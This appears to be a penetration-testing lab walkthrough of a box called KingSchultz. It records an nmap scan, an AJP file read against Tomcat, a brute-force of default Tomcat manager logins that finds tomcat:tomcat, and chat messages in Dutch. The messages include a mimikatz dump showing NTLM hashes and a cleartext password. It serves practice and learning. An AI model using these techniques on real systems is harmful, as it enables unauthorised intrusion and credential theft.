.
┌─[✗]─[user@parrot-virtual]─[~/ptd/10.150.150.147/share] └──╼ $
nmap -A 10.150.150.147
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-26 10:38 GMT Nmap scan report for 10.150.150.147 Host is up (0.033s latency). Not shown: 987 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=KingSchultz | Not valid before: 2020-12-16T16:52:51 |_Not valid after: 2021-06-17T16:52:51 |_ssl-date: 2021-02-26T11:34:07+00:00; +54m19s from scanner time. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8080/tcp open http Apache Tomcat 8.5.32 |_http-favicon: Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat/8.5.32 8089/tcp open ssl/http Splunkd httpd | http-robots.txt: 1 disallowed entry |_/ |_http-title: splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2019-10-25T13:36:37 |_Not valid after: 2022-10-24T13:36:37 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 54m20s, deviation: 2s, median: 54m18s | smb-os-discovery: | OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1) | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 | Computer name: KingSchultz | NetBIOS computer name: KINGSCHULTZ\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-02-26T11:34:01+00:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-02-26T11:33:59 |_ start_date: 2020-04-02T14:01:26 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 72.00 seconds ┌─[user@parrot-virtual]─[~/ptd/10.150.150.147/share]
.
┌─[user@parrot-virtual]─[~/ptd/10.150.150.147] └──╼ $
python3 ajpShooter.py http://10.150.150.147:8080 8009 /WEB-INF/web.xml read
_ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test [<] 200 200 [<] Accept-Ranges: bytes [<] ETag: W/"1257-1529524266000" [<] Last-Modified: Wed, 20 Jun 2018 19:51:06 GMT [<] Content-Type: application/xml [<] Content-Length: 1257 <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to Tomcat </description> </web-app>
.
let’s use : https://github.com/hypn0s/AJPy
┌─[user@parrot-virtual]─[/opt/AJPy] └──╼ $
python tomcat.py -v bf -U tomcat_mgr_default_users.txt -P tomcat_mgr_default_pass.txt /host-manager/html 10.150.150.147
Attacking a tomcat at ajp13://10.150.150.147:8009/host-manager/html testing admin:admin testing admin:manager testing admin:role1 testing admin:root testing admin:tomcat testing admin:s3cret testing admin:vagrant testing manager:admin testing manager:manager testing manager:role1 testing manager:root testing manager:tomcat testing manager:s3cret testing manager:vagrant testing role1:admin testing role1:manager testing role1:role1 testing role1:root testing role1:tomcat testing role1:s3cret testing role1:vagrant testing root:admin testing root:manager testing root:role1 testing root:root testing root:tomcat testing root:s3cret testing root:vagrant testing tomcat:admin testing tomcat:manager testing tomcat:role1 testing tomcat:root testing tomcat:tomcat
Found valid credz: tomcat:tomcat
Here is your cookie: JSESSIONID=688CD5A4B73595F359F4FC2FD7CAA2F7; Path=/host-manager; HttpOnly testing tomcat:s3cret testing tomcat:vagrant testing both:admin testing both:manager testing both:role1 testing both:root testing both:tomcat testing both:s3cret testing both:vagrant Closing socket... ┌─[user@parrot-virtual]─[/opt/AJPy]
.
Jonne, [24.02.21 12:37]
Het kan ook zijn dat het nu een beetje druk is op kingschultz. Ik zou het sowieso een andere dag nog eens proberen.
Jonne, [24.02.21 12:38]
Ik zal even kijken voor creds, denk dat ik die wel heb, maar ik denk dat ik alles via die shell heb gedaan, dus ik weet niet of je er mee kunt inloggen daar.
Jonne, [24.02.21 12:39]
Ok, je zou dus gelijk al een shell als admin moeten krijgen met bovenstaande exploit
Jonne, [24.02.21 12:39]
Command: whoami
nt authority\system
Jonne, [24.02.21 12:39]
Er zijn 2 vlaggen, 38 en 39.
Jonne, [24.02.21 12:40]
flag39 staat op de desktop van user DrSchultz
Jonne, [24.02.21 12:41]
Zit nu trouwens te denken, kan er iets met een firewall zijn.
Jonne, [24.02.21 12:41]
Misschien moet je niet port 443 gebruiken.
Jonne, [24.02.21 12:41]
Probeer het ook nog even met een port > 1000.
Jonne, [24.02.21 12:42]
Just in case …
Jonne, [24.02.21 12:42]
Ik zie even geen notitie van flag 38 …
Jonne, [24.02.21 12:42]
ik heb lang zitten klooien met deze box 🙂
Jonne, [24.02.21 12:43]
Nouja, op een gegeven moment heb ik Mimikatz gerund, dus ik heb wel dit voor je
Jonne, [24.02.21 12:43]
# .\mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. “A La Vie, A L’Amour” – (oe.eo)
## / \ ## /*** Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
‘## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#####’ > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege ’20’ OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 583290 (00000000:0008e67a)
Session : Interactive from 1
User Name : DrSchultz
Domain : KINGSCHULTZ
Logon Server : KINGSCHULTZ
Logon Time : 4/2/2020 2:21:25 PM
SID : S-1-5-21-4197553533-421203437-1417301160-1001
msv :
[00010000] CredentialKeys
* NTLM : 9edf9e3c8539b60d0f3292dde425cb23
* SHA1 : 8a1d870b52eb2658fcebd6c3d5199466e2b15f3c
[00000003] Primary
* Username : DrSchultz
* Domain : KINGSCHULTZ
* NTLM : 9edf9e3c8539b60d0f3292dde425cb23
* SHA1 : 8a1d870b52eb2658fcebd6c3d5199466e2b15f3c
tspkg :
wdigest :
* Username : DrSchultz
* Domain : KINGSCHULTZ
* Password : AlexandreDumasIsBlack1 *** CREDS !
kerberos :
* Username : DrSchultz
* Domain : KINGSCHULTZ
* Password : (null)
ssp :
credman :
Jonne, [24.02.21 12:44]
Andere flag zal wel in administrator user dir gestaan hebben, ik heb het niet opgeschreven.